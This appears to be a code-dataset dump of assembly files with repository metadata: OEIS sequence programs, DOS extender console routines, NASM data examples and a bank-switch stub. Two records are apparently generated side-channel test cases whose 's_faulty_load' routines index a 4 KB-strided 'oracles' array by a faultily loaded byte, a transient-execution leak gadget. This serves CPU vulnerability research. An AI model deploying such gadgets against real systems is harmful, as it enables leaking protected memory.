;ARGUMENTY:
;REJESTR 0 - WSKAŹNIK NA NAPIS
;REJESTR 1 - MAKSYMALNA DŁUGOŚĆ NAPISU
;OPERUJE NA:
;REJESTR 1, 2, 3
;WYMAGA DEKLARACJI:
;NEWLINE - CHAR('\n')
;ZWRACA:
;REJESTR 0 - WEJŚCIOWY POINTER NA TAB
WCZYTAJ_IMIE:
PUSH 0
LDB 3, NEWLINE
_LOOP2: IN 2
STB 2, 0(0)
LDA 0, 0(1)
CMP 2, 3
JE _STOP2
LOOP 1, _LOOP2
_STOP2:
XOR 2, 2
STB 2, 0(0)
POP 0
RET | 25.646154 | 79 | 0.454109 |
ae7c4c00da5cda5c0e75789d0e9902ea3c8b2256 | 643 | asm | Assembly | testAsmFiles/binary.asm | 0xGREG/Assembler | acff596e6f6f662e80f91a5027b3a2bf7d9bd66a | [
"Apache-2.0"
] | null | null | null | testAsmFiles/binary.asm | 0xGREG/Assembler | acff596e6f6f662e80f91a5027b3a2bf7d9bd66a | [
"Apache-2.0"
] | null | null | null | testAsmFiles/binary.asm | 0xGREG/Assembler | acff596e6f6f662e80f91a5027b3a2bf7d9bd66a | [
"Apache-2.0"
] | null | null | null | # examples taken from nasm
# reference https://www.nasm.us/doc/nasmdoc3.html#section-3.2.1
DB 55 # just the byte 55
DB 0x55,56, 0x57 # three bytes in succession
DB 'a',0x55, 'A' # character constants are OK
.start
DB 'hello',13,10,'$' # so are string constants
DW 0x1234 # 0x34 0x12
DW 'a' # 0x61 0x00 (it's just a number)
DW "ab" # 0x61 0x62 (character constant)
DW 'abc' # 0x61 0x62 0x63 0x00 (string)
DD 0x12345678 # 0x78 0x56 0x34 0x12
DQ 0x123456789abcde # eight byte constant
# MOV eax, ebx
# BD
| 40.1875 | 63 | 0.556765 |
cac75452e0eeaaeded5d9e49eae6bcbab733a659 | 6,474 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_667.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_667.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_667.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x733, %rdx
nop
nop
dec %rax
movb (%rdx), %r8b
nop
sub %r14, %r14
lea addresses_WT_ht+0x7553, %rsi
lea addresses_WT_ht+0xfb33, %rdi
nop
and %rbx, %rbx
mov $81, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_UC_ht+0x5833, %rsi
lea addresses_WC_ht+0x1943b, %rdi
nop
nop
nop
xor $54212, %rdx
mov $1, %rcx
rep movsl
nop
nop
add %rdx, %rdx
lea addresses_WT_ht+0x1ccd3, %r14
nop
nop
nop
add %rdx, %rdx
mov (%r14), %di
nop
nop
nop
nop
nop
sub $62674, %rcx
lea addresses_WC_ht+0x16ec3, %rdi
cmp $64927, %rcx
mov (%rdi), %r14
cmp %rbx, %rbx
lea addresses_D_ht+0x1314b, %rax
nop
dec %r14
mov (%rax), %r8w
nop
nop
nop
nop
sub $18462, %rsi
lea addresses_D_ht+0x18c33, %rcx
nop
nop
nop
nop
and $28476, %rax
mov $0x6162636465666768, %r8
movq %r8, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_normal_ht+0x117b3, %rsi
nop
and $24584, %rdi
vmovups (%rsi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
nop
nop
nop
inc %r8
lea addresses_A_ht+0x14e73, %rsi
lea addresses_D_ht+0x3333, %rdi
nop
lfence
mov $63, %rcx
rep movsl
nop
nop
nop
sub %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_RW+0x19933, %r9
nop
nop
sub $60420, %rcx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
vmovups %ymm5, (%r9)
nop
nop
nop
sub %r9, %r9
// Faulty Load
lea addresses_normal+0x1eb33, %rdi
nop
nop
nop
nop
nop
add $63075, %r8
movb (%rdi), %dl
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 36.784091 | 2,999 | 0.658171 |
40b3b86e728459563fdba344bb1dfeafef57052e | 739 | asm | Assembly | oeis/027/A027616.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/027/A027616.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/027/A027616.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A027616: Number of permutations of n elements containing a 2-cycle.
; Submitted by Christian Krause
; 0,0,1,3,9,45,285,1995,15855,142695,1427895,15706845,188471745,2450132685,34301992725,514529890875,8232476226975,139952095858575,2519137759913775,47863617438361725,957272348112505425,20102719310362613925,442259824841726816925,10171975971359716789275,244127423312316968799375,6103185582807924219984375,158682825153013935573174375,4284436279131376260475708125,119964215815678321835273150625,3478962258654671333222921368125,104368867759640146186970994673125,3235434900548844531796100834866875
mov $2,1
mov $3,1
lpb $0
sub $0,1
mov $1,$4
mul $1,$0
add $1,$3
mul $2,$0
max $0,1
mov $4,$2
add $2,$3
mov $3,$1
lpe
mov $0,$4
| 38.894737 | 490 | 0.818674 |
0768c9a58908c1b1a34fc4e68e2ed33dcd0cbc40 | 841 | asm | Assembly | programs/oeis/030/A030426.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/030/A030426.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/030/A030426.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A030426: a(n) = Fibonacci(prime(n)).
; 1,2,5,13,89,233,1597,4181,28657,514229,1346269,24157817,165580141,433494437,2971215073,53316291173,956722026041,2504730781961,44945570212853,308061521170129,806515533049393,14472334024676221,99194853094755497,1779979416004714189,83621143489848422977,573147844013817084101,1500520536206896083277,10284720757613717413913,26925748508234281076009,184551825793033096366333,155576970220531065681649693,1066340417491710595814572169,19134702400093278081449423917,50095301248058391139327916261,6161314747715278029583501626149,16130531424904581415797907386349,289450641941273985495088042104137,5193981023518027157495786850488117,35600075545958458963222876581316753,638817435613190341905763972389505493
seq $0,40 ; The prime numbers.
lpb $0
trn $0,2
add $1,$2
add $2,1
add $2,$1
lpe
add $1,1
mov $0,$1
| 64.692308 | 693 | 0.872771 |
f0e665eb1520705fb00f9c2c741a96f2bfbaf2ba | 6,615 | asm | Assembly | src/dos32a/text/client/strings.asm | amindlost/dos32a | 06d8e3a0b2397d872205d6c99a7de0d6b8628bcc | [
"Unlicense"
] | 5 | 2022-01-21T08:09:42.000Z | 2022-03-17T10:15:55.000Z | src/dos32a/text/client/strings.asm | amindlost/dos32a | 06d8e3a0b2397d872205d6c99a7de0d6b8628bcc | [
"Unlicense"
] | null | null | null | src/dos32a/text/client/strings.asm | amindlost/dos32a | 06d8e3a0b2397d872205d6c99a7de0d6b8628bcc | [
"Unlicense"
] | 1 | 2022-02-19T22:58:50.000Z | 2022-02-19T22:58:50.000Z | ;
; Copyright (C) 1996-2006 by Narech K. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; 3. The end-user documentation included with the redistribution, if any,
; must include the following acknowledgment:
;
; "This product uses DOS/32 Advanced DOS Extender technology."
;
; Alternately, this acknowledgment may appear in the software itself, if
; and wherever such third-party acknowledgments normally appear.
;
; 4. Products derived from this software may not be called "DOS/32A" or
; "DOS/32 Advanced".
;
; THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS" AND ANY EXPRESSED
; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
; BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
; ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
;
PushState
.8086
;=============================================================================
; report_error: displays error code(AX) and error message
; report_errorm: retreives error code from memory
;
report_errorm:
mov ax,cs:_err_code
;
; note: this function may autimatically terminate the client
;
report_error:
push bx ds
cmp cs:_sel_ds,0
jnz @@1
mov ds,cs:_seg_ds
jmp @@2
@@1: mov ds,cs:_sel_ds
@@2: xor bx,bx
@@3: cmp ah,g_errtab[bx] ; check Global error #
jz @@4 ; if found, jump
cmp bptr [bx],0FFh
jz @@done
add bx,4
jmp @@3
@@4: cmp g_errtab[bx+1],1 ; check if warning
jnz @@5 ; if not, jump
test _misc_byte,00000001b ; check if report warnings on
jz @@done ; if not, done
@@5: push ax cx dx
push bx
mov bl,g_errtab[bx+1]
mov bh,0
mov cx,bx
add bx,bx ; BX = error header #
mov dx,h_errtab[bx] ; DX = Header error string
pop bx
push di si ; SI, DI = event. parameters
mov si,wptr g_errtab[bx+2] ; SI = Local error offset
mov bl,al
mov bh,0
add bx,bx ; BX = Local error #
mov di,[bx+si] ; DX = Local error string
test di,di
jz @@6
push ax
call prints
pop ax
mov dx,di
call prints
call printcr
@@6: pop si di
cmp cl,1
jnz @@exit
pop dx cx ax
@@done: pop ds bx
ret
@@exit: mov al,-1
cmp _sel_cs,0
jnz @@0
jmp exit86
@@0: jmp exit386
.8086
;=============================================================================
; display copyright message and version number
;
copyright:
test _misc_byte2,00001000b
jz @@done
mov ax,_version
mov bx,offs ver_msg
mov si,offs cpr_msg
push ax
mov al,ah
aam
add al,30h
mov [bx+0],al
pop ax
aam
add ax,3030h
mov [bx+2],ah
mov [bx+4],al
mov cx,offs cpr_end - offs cpr_msg
@@1: lodsb
push cx
xor bx,bx
mov ah,0Eh
int 10h
pop cx
loop @@1
@@done: ret
.8086
;=============================================================================
; Console I/O Routines (a la printf...)
;=============================================================================
STRSIZE = 0100h
@char db 0,0
@crlf db cre
;=============================================================================
; Print character in AL
;
printc:
push dx
mov @char,al
mov dx,offs @char
jmp @prnt
;=============================================================================
; Print NewLine (CR,LF)
;
printcr:
push dx
mov dx,offs @crlf
@prnt: call prints
pop dx
ret
;=============================================================================
; Print string
; DX = offset
; ... = arguments pushed on stack
;
prints:
push ax bx cx dx si di bp ds es
push ss
pop es
mov bp,sp
sub sp,STRSIZE
add bp,2*10 ; BP -> argument list
mov si,dx ; DS:SI -> string
mov di,sp ; ES:DI -> space for formatted string
push di
@@loop: lodsb
cmp al,'%'
jz @@args
cmp al,'$'
jnz @@next
mov al,'?'
@@next: stosb
test al,al
jnz @@loop
pop di
call writes
add sp,STRSIZE
pop es ds bp di si dx cx bx ax
ret
@@args: lodsb
cmp al,'%'
jz @@next
cmp al,'c' ; char
jz @@c
cmp al,'s' ; string
jz @@s
cmp al,'b' ; byte
jz @@b
cmp al,'w' ; word
jz @@w
cmp al,'l' ; long
jz @@l
cmp al,'d' ; decimal
jz @@d
jmp @@next ; unrecognized
@@c: mov al,[bp]
add bp,2
jmp @@next
@@s: mov bx,[bp]
add bp,2
@@s0: mov al,[bx]
inc bx
test al,al
jz @@loop
cmp al,'$'
jnz @@s1
mov al,'?'
@@s1: stosb
jmp @@s0
@@b: mov ah,[bp]
add bp,2
mov cx,2
call @@hex
jmp @@loop
@@w: mov ax,[bp]
add bp,2
mov cx,4
call @@hex
jmp @@loop
@@l: mov ax,[bp+2]
mov cx,4
call @@hex
mov ax,[bp]
add bp,4
mov cx,4
call @@hex
jmp @@loop
@@d: mov ax,[bp]
add bp,2
xor cx,cx
call @@dec
jmp @@loop
@@hex: rol ax,4
mov bl,al
and bl,0Fh
add bl,30h
cmp bl,39h
jbe @@hex0
add bl,07h
@@hex0: xchg ax,bx
stosb
xchg ax,bx
loop @@hex
ret
@@dec: mov bx,10000
call @@dec0
mov bx,1000
call @@dec0
mov bx,100
call @@dec0
mov bx,10
call @@dec0
jmp @@dec2
@@dec0: xor dx,dx
div bx
test ax,ax
jz @@dec1
inc cx
@@dec1: test cx,cx
jz @@dec3
@@dec2: add al,30h
stosb
@@dec3: mov ax,dx
ret
;=============================================================================
writes: xor al,al
mov dx,di
mov cx,-1
repne scasb
dec di
push es
pop ds
mov ax,0924h
mov [di],al
cmp cs:_sel_cs,0
jnz @@0
int 21h
ret
.386p
;-----------------------------------------------------------------------------
@@0: push ebp
sub esp,32h
mov ebp,esp
mov [ebp+1Ch],ax
mov [ebp+14h],dx
mov ax,cs:_seg_ss
mov [ebp+24h],ax
call int21h
add esp,32h
pop ebp
ret
.386p
;=============================================================================
file_error:
mov si,offs start
jmp report_error
file_errorm:
mov si,offs start
jmp report_errorm
dos_error:
mov si,ax
mov ax,8002h
jmp common_error
dpmi_error:
mov si,ax
mov ax,8003h
common_error:
cli
lss esp,fptr cs:_sel_esp
jmp report_error
PopState
| 19.455882 | 78 | 0.596221 |
244b220a207a3bdd5e5fb7903a0965c3a2591c6e | 378 | asm | Assembly | libsrc/osca/set_bank.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/osca/set_bank.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | libsrc/osca/set_bank.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | ;
; Get the OSCA Architecture current bank
; by Stefano Bodrato, 2011
;
; void set_bank(int bank);
;
; Sets which of the 32KB banks is mapped into address space $8000-$ffff
; bank = required bank (range: 0 - max_bank)
;
; $Id: set_bank.asm,v 1.3 2012/03/08 07:16:46 stefano Exp $
;
INCLUDE "flos.def"
XLIB set_bank
set_bank:
; __FASTCALL__
ld a,l
jp kjt_forcebank
| 17.181818 | 71 | 0.693122 |
00d83a35d749ea8862145f5f1b10b24677a800ab | 827 | asm | Assembly | oeis/142/A142625.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142625.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142625.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142625: Primes congruent to 34 mod 55.
; Submitted by Jon Maiga
; 89,199,419,859,1409,2069,2179,2399,2729,3169,3389,3499,3719,4049,4159,5039,5479,6029,6359,6469,6689,7019,7129,7349,7459,7789,8009,8669,8779,8999,9109,9439,9769,10099,10429,10979,11969,12409,12739,12959,13399,13619,13729,14389,14939,15269,16369,16699,17029,17359,17579,17909,18679,18899,19009,19559,19889,20219,20549,20879,21319,21649,22639,22859,23189,23629,24179,24509,25169,25609,25939,26489,27259,27479,27809,27919,28579,28909,29129,29569,29789,30119,30449,30559,31219,31769,32099,32429,32869
mov $1,44
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,55
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,109
| 34.458333 | 497 | 0.729141 |
d2751bbac765802a33c6edaf1cdf0a2e2d66b3a4 | 8,671 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_697.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_697.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_697.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1c246, %r12
nop
nop
nop
nop
dec %r14
mov (%r12), %rax
nop
inc %r12
lea addresses_WT_ht+0x1d29e, %r12
nop
nop
nop
nop
nop
dec %rcx
mov (%r12), %rsi
nop
and %r12, %r12
lea addresses_D_ht+0x3b32, %rsi
lea addresses_WC_ht+0x5516, %rdi
nop
nop
nop
nop
and $63142, %rbx
mov $48, %rcx
rep movsb
xor %rsi, %rsi
lea addresses_normal_ht+0x1631e, %rax
nop
nop
nop
cmp %rbx, %rbx
mov (%rax), %rdi
xor $55417, %rdi
lea addresses_normal_ht+0x177c3, %rsi
nop
nop
and $27965, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%rsi)
add $16539, %rax
lea addresses_normal_ht+0x1069e, %rsi
lea addresses_A_ht+0x1a39e, %rdi
nop
nop
and %r15, %r15
mov $16, %rcx
rep movsw
nop
nop
cmp %r15, %r15
lea addresses_WC_ht+0x1059e, %rsi
lea addresses_WT_ht+0x100fe, %rdi
nop
nop
nop
nop
nop
add $54454, %r14
mov $124, %rcx
rep movsl
nop
and $18199, %rcx
lea addresses_normal_ht+0x749e, %r14
nop
nop
nop
xor $42562, %rbx
movb $0x61, (%r14)
nop
nop
nop
nop
nop
xor $39414, %rax
lea addresses_UC_ht+0x1d59e, %r15
nop
nop
nop
xor $22670, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%r15)
nop
nop
nop
nop
xor $64346, %r14
lea addresses_WC_ht+0x23de, %r12
nop
nop
nop
and %r14, %r14
movw $0x6162, (%r12)
nop
nop
nop
nop
nop
lfence
lea addresses_WT_ht+0x16da6, %rsi
lea addresses_UC_ht+0x839e, %rdi
clflush (%rsi)
add %r12, %r12
mov $5, %rcx
rep movsw
nop
nop
add $2223, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
// Store
lea addresses_A+0xa59e, %rax
clflush (%rax)
nop
cmp %rbx, %rbx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movups %xmm5, (%rax)
nop
nop
nop
xor $15211, %r8
// Store
lea addresses_D+0x12c4e, %r9
xor %rbx, %rbx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r9)
sub $42802, %r9
// Store
lea addresses_A+0x1999e, %rbx
and %rdi, %rdi
mov $0x5152535455565758, %rax
movq %rax, %xmm3
vmovups %ymm3, (%rbx)
nop
nop
nop
xor %rdi, %rdi
// Store
lea addresses_normal+0x6356, %rax
cmp %r13, %r13
mov $0x5152535455565758, %rbx
movq %rbx, %xmm3
movups %xmm3, (%rax)
nop
nop
nop
nop
cmp $63718, %r8
// Store
lea addresses_WC+0x3d9e, %r8
add $30221, %rcx
movb $0x51, (%r8)
nop
nop
nop
nop
nop
and %r13, %r13
// Store
lea addresses_UC+0x1a59e, %r8
nop
nop
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%r8)
nop
nop
nop
nop
nop
add %rbx, %rbx
// Load
lea addresses_D+0x11d9e, %r13
nop
nop
cmp %rbx, %rbx
vmovups (%r13), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r8
nop
nop
nop
nop
nop
xor %rdi, %rdi
// Faulty Load
lea addresses_D+0x11d9e, %rbx
add $5393, %rdi
movb (%rbx), %cl
lea oracles, %r8
and $0xff, %rcx
shlq $12, %rcx
mov (%r8,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 11, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
